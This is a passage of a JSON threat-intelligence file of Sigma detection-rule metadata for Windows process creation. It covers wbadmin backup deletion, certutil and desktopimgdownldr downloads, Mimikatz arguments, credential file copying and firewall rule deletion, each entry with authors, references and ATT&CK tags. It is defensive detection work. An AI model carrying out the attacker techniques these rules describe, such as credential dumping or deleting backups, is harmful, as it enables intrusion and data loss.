          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_16bit_application.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "16905e21-66ee-42fe-b256-1318ada2d770",
      "value": "Start of NT Virtual DOS Machine"
    },
    {
      "description": "Deletes the Windows systemstatebackup using wbadmin.exe.\nThis technique is used by numerous ransomware families.\nThis may only be successful on server platforms that have Windows Backup enabled.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wbadmin_delete_systemstatebackup.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wbadmin_delete_systemstatebackup.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1490"
        ]
      },
      "related": [
        {
          "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "89f75308-5b1b-4390-b2d8-d6b2340efaf8",
      "value": "SystemStateBackup Deleted Using Wbadmin.EXE"
    },
    {
      "description": "Detects usage of \"ProtocolHandler\" to download files. Downloaded files will be located in the cache folder (for example - %LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE)\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/07/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_protocolhandler_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/OtherMSBinaries/ProtocolHandler/",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_protocolhandler_download.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218"
        ]
      },
      "related": [
        {
          "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "104cdb48-a7a8-4ca7-a453-32942c6e5dcb",
      "value": "File Download Using ProtocolHandler.exe"
    },
    {
      "description": "Detects scheduled task creation events that include suspicious actions, and is run once at 00:00",
      "meta": {
        "author": "pH-T (Nextron Systems)",
        "creation_date": "2022/07/15",
        "falsepositive": [
          "Software installation"
        ],
        "filename": "proc_creation_win_schtasks_one_time_only_midnight_task.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbyte",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_one_time_only_midnight_task.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.persistence",
          "attack.privilege_escalation",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "970823b7-273b-460a-8afc-3a6811998529",
      "value": "Uncommon One Time Only Scheduled Task At 00:00"
    },
    {
      "description": "Files with well-known filenames (sensitive files with credential data) copying",
      "meta": {
        "author": "Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community",
        "creation_date": "2019/10/22",
        "falsepositive": [
          "Copying sensitive files for legitimate use (eg. backup) or forensic investigation by legitimate incident responder or forensic invetigator"
        ],
        "filename": "proc_creation_win_esentutl_sensitive_file_copy.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://room362.com/post/2013/2013-06-10-volume-shadow-copy-ntdsdit-domain-hashes-remotely-part-1/",
          "https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_esentutl_sensitive_file_copy.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.002",
          "attack.t1003.003",
          "car.2013-07-001",
          "attack.s0404"
        ]
      },
      "related": [
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e7be6119-fc37-43f0-ad4f-1f3f99be2f9f",
      "value": "Copying Sensitive Files with Credential Data"
    },
    {
      "description": "Detects when a possible suspicious driver is being installed via pnputil.exe lolbin",
      "meta": {
        "author": "Hai Vaknin @LuxNoBulIshit, Avihay eldad  @aloneliassaf, Austin Songer @austinsonger",
        "creation_date": "2021/09/30",
        "falsepositive": [
          "Pnputil.exe being used may be performed by a system administrator.",
          "Verify whether the user identity, user agent, and/or hostname should be making changes in your environment.",
          "Pnputil.exe being executed from unfamiliar users should be investigated. If known behavior is causing false positives, it can be exempted from the rule."
        ],
        "filename": "proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://strontic.github.io/xcyclopedia/library/pnputil.exe-60EDC5E6BDBAEE441F2E3AEACD0340D2.html",
          "https://docs.microsoft.com/en-us/windows-hardware/drivers/devtest/pnputil-command-syntax",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_driver_installed_by_pnputil.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547"
        ]
      },
      "related": [
        {
          "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a2ea3ae7-d3d0-40a0-a55c-25a45c87cac1",
      "value": "Suspicious Driver Install by pnputil.exe"
    },
    {
      "description": "An adversary may use legitimate desktop support and remote access software,to establish an interactive command and control channel to target systems within networks",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/10/02",
        "falsepositive": [
          "Legitimate use"
        ],
        "filename": "proc_creation_win_ultravnc.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1219/T1219.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1219"
        ]
      },
      "related": [
        {
          "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "145322e4-0fd3-486b-81ca-9addc75736d8",
      "value": "Use of UltraVNC Remote Access Software"
    },
    {
      "description": "Detects execution of Microsoft bash launcher with the \"-c\" flag. This can be used to potentially bypass defenses and execute Linux or Windows-based binaries directly via bash",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/11/24",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_bash_command_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Bash/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bash_command_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1202"
        ]
      },
      "related": [
        {
          "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5edc2273-c26f-406c-83f3-f4d948e740dd",
      "value": "Indirect Inline Command Execution Via Bash.EXE"
    },
    {
      "description": "Detects Cobalt Strike module/commands accidentally entered in CMD shell",
      "meta": {
        "author": "_pete_0, TheDFIRReport",
        "creation_date": "2022/05/06",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_cobaltstrike_bloopers_modules.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/",
          "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/",
          "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_cobaltstrike_bloopers_modules.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4f154fb6-27d1-4813-a759-78b93e0b9c48",
      "value": "Operator Bloopers Cobalt Strike Modules"
    },
    {
      "description": "Detects usage of wmic to start or stop a service",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/06/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wmic_service_manipulation.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_windows.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_service_manipulation.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1047"
        ]
      },
      "related": [
        {
          "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0b7163dc-7eee-4960-af17-c0cd517f92da",
      "value": "Service Started/Stopped Via Wmic.EXE"
    },
    {
      "description": "Detects execution of \"odbcconf\" where the path of the DLL being registered is located in a potentially suspicious location.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/22",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_odbcconf_exec_susp_locations.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html",
          "https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/",
          "https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_exec_susp_locations.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1218.008"
        ]
      },
      "related": [
        {
          "dest-uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6b65c28e-11f3-46cb-902a-68f2cafaf474",
      "value": "Odbcconf.EXE Suspicious DLL Location"
    },
    {
      "description": "Detects potentially suspicious child process of applications launched from inside the WindowsApps directory. This could be a sign of a rogue \".appx\" package installation/execution",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/12",
        "falsepositive": [
          "Legitimate packages that make use of external binaries such as Windows Terminal"
        ],
        "filename": "proc_creation_win_susp_appx_execution.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://news.sophos.com/en-us/2021/11/11/bazarloader-call-me-back-attack-abuses-windows-10-apps-mechanism/",
          "https://www.sentinelone.com/labs/inside-malicious-windows-apps-for-malware-deployment/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_appx_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "f91ed517-a6ba-471d-9910-b3b4a398c0f3",
      "value": "Potentially Suspicious Windows App Activity"
    },
    {
      "description": "Detects suspicious command line using the \"mshtml.dll\" RunHTMLApplication export to run arbitrary code via different protocol handlers (vbscript, javascript, file, htpp...)",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/14",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_rundll32_mshtml_runhtmlapplication.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/n1nj4sec/status/1421190238081277959",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_mshtml_runhtmlapplication.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "4782eb5a-a513-4523-a0ac-f3082b26ac5c",
      "value": "Mshtml DLL RunHTMLApplication Abuse"
    },
    {
      "description": "Detects command line containing reference to the \"::$index_allocation\" stream, which can be used as a technique to prevent access to folders or files from tooling such as \"explorer.exe\" or \"powershell.exe\"\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems), Scoubi (@ScoubiMtl)",
        "creation_date": "2023/10/09",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_susp_hidden_dir_index_allocation.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3",
          "https://soroush.me/blog/2010/12/a-dotty-salty-directory-a-secret-place-in-ntfs-for-secret-files/",
          "https://sec-consult.com/blog/detail/pentesters-windows-ntfs-tricks-collection/",
          "https://twitter.com/pfiatde/status/1681977680688738305",
          "https://github.com/redcanaryco/atomic-red-team/blob/5c3b23002d2bbede3c07e7307165fc2a235a427d/atomics/T1564.004/T1564.004.md#atomic-test-5---create-hidden-directory-via-index_allocation",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_hidden_dir_index_allocation.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0900463c-b33b-49a8-be1d-552a3b553dae",
      "value": "Potential Hidden Directory Creation Via NTFS INDEX_ALLOCATION Stream - CLI"
    },
    {
      "description": "Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter.",
      "meta": {
        "author": "Ensar Şamil, @sblmsrsn, @oscd_initiative",
        "creation_date": "2020/10/07",
        "falsepositive": [
          "Utilization of this tool should not be seen in enterprise environment"
        ],
        "filename": "proc_creation_win_lolbin_visual_basic_compiler.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Vbc/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_visual_basic_compiler.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7b10f171-7f04-47c7-9fa2-5be43c76e535",
      "value": "Visual Basic Command Line Compiler Usage"
    },
    {
      "description": "Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest cmdlet",
      "meta": {
        "author": "Florian Roth (Nextron Systems), Hieu Tran",
        "creation_date": "2023/03/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_download_dll.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_dll.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.execution",
          "attack.t1059.001",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0f0450f3-8b47-441e-a31b-15a91dc243e2",
      "value": "Potential DLL File Download Via PowerShell Invoke-WebRequest"
    },
    {
      "description": "Detects execution of the builtin \"del\"/\"erase\" commands in order to delete files.\nAdversaries may delete files left behind by the actions of their intrusion activity.\nMalware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how.\nRemoval of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/15",
        "falsepositive": [
          "False positives levels will differ Depending on the environment. You can use a combination of ParentImage and other keywords from the CommandLine field to filter legitimate activity"
        ],
        "filename": "proc_creation_win_cmd_del_execution.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md",
          "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_del_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "379fa130-190e-4c3f-b7bc-6c8e834485f3",
      "value": "File Deletion Via Del"
    },
    {
      "description": "Detects usage of \"findstr\" with the argument \"385201\". Which could indicate potential discovery of an installed Sysinternals Sysmon service using the default driver altitude (even if the name is changed).",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_findstr_sysmon_discovery_via_default_altitude.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md#atomic-test-5---security-software-discovery---sysmon-service",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_sysmon_discovery_via_default_altitude.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1518.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "37db85d1-b089-490a-a59a-c7b6f984f480",
      "value": "Sysmon Discovery Via Default Driver Altitude Using Findstr.EXE"
    },
    {
      "description": "Detects the execution of certutil with certain flags that allow the utility to download files from file-sharing websites.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/02/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_certutil_download_file_sharing_domains.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil",
          "https://forensicitguy.github.io/agenttesla-vba-certutil-download/",
          "https://twitter.com/egre55/status/1087685529016193025",
          "https://lolbas-project.github.io/lolbas/Binaries/Certutil/",
          "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download_file_sharing_domains.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "42a5f1e7-9603-4f6d-97ae-3f37d130d794",
      "value": "Suspicious File Downloaded From File-Sharing Website Via Certutil.EXE"
    },
    {
      "description": "Detection well-known mimikatz command line arguments",
      "meta": {
        "author": "Teymur Kheirkhabarov, oscd.community, David ANDRE (additional keywords), Tim Shelton",
        "creation_date": "2019/10/22",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "proc_creation_win_hktl_mimikatz_command_line.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://tools.thehacker.recipes/mimikatz/modules",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_mimikatz_command_line.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001",
          "attack.t1003.002",
          "attack.t1003.004",
          "attack.t1003.005",
          "attack.t1003.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1644e709-12d2-41e5-a60f-3470991f5011",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "1ecfdab8-7d59-4c98-95d4-dc41970f57fc",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a642964e-bead-4bed-8910-1bb4d63e3b4d",
      "value": "HackTool - Mimikatz Execution"
    },
    {
      "description": "Detects the use of CoercedPotato, a tool for privilege escalation",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2023/10/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_hktl_coercedpotato.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://blog.hackvens.fr/articles/CoercedPotato.html",
          "https://github.com/hackvens/CoercedPotato",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_coercedpotato.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1055"
        ]
      },
      "related": [
        {
          "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e8d34729-86a4-4140-adfd-0a29c2106307",
      "value": "HackTool - CoercedPotato Execution"
    },
    {
      "description": "Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0",
      "meta": {
        "author": "Harish Segar (rule)",
        "creation_date": "2020/03/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_powershell_downgrade_attack.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/",
          "https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#bypass-or-avoid-amsi-by-version-downgrade-",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_downgrade_attack.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      "uuid": "b3512211-c67e-4707-bedc-66efc7848863",
      "value": "Potential PowerShell Downgrade Attack"
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      "description": "Detects the removal of a port or application rule in the Windows Firewall configuration using netsh",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/14",
        "falsepositive": [
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          "Software installations and removal"
        ],
        "filename": "proc_creation_win_netsh_fw_delete_rule.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://app.any.run/tasks/8bbd5b4c-b82d-4e6d-a3ea-d454594a37cc/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_delete_rule.yml"
        ],
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          "attack.defense_evasion",
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      },
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        {
          "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
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      "uuid": "1a5fefe6-734f-452e-a07d-fc1c35bce4b2",
      "value": "Firewall Rule Deleted Via Netsh.EXE"
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      "description": "Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil.",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/27",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_desktopimgdownldr_remote_file_download.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.elastic.co/guide/en/security/current/remote-file-download-via-desktopimgdownldr-utility.html",
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        ],
        "tags": [
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          "attack.t1105"
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        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
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      "uuid": "214641c2-c579-4ecb-8427-0cf19df6842e",
      "value": "Remote File Download Via Desktopimgdownldr Utility"
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    {
      "description": "Detects suspicious Windows Update Agent activity in which a wuauclt.exe process command line doesn't contain any command line flags\n",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/02/26",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_wuauclt_no_cli_flags_execution.yml",
        "level": "high",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://redcanary.com/blog/blackbyte-ransomware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wuauclt_no_cli_flags_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1036"
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      },
      "related": [
        {
          "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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          "type": "related-to"
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      "uuid": "52d097e2-063e-4c9c-8fbb-855c8948d135",
      "value": "Suspicious Windows Update Agent Empty Cmdline"
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    {
      "description": "Detects calls to cmdlets that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/05/18",
        "falsepositive": [
          "Legitimate certificate exports by administrators. Additional filters might be required."
        ],
        "filename": "proc_creation_win_powershell_export_certificate.yml",
        "level": "medium",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
          "https://www.splunk.com/en_us/blog/security/breaking-the-chain-defending-against-certificate-services-abuse.html",
          "https://docs.microsoft.com/en-us/powershell/module/pki/export-pfxcertificate",
          "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_export_certificate.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.execution",
          "attack.t1552.004",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
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        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
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            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
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      ],
      "uuid": "9e716b33-63b2-46da-86a4-bd3c3b9b5dfb",
      "value": "Certificate Exported Via PowerShell"
    },
    {
      "description": "Detects the execution of \"attrib\" with the \"+s\" flag to mark files as system files",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/02/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "proc_creation_win_attrib_system.yml",
        "level": "low",
        "logsource.category": "process_creation",
        "logsource.product": "windows",
        "refs": [
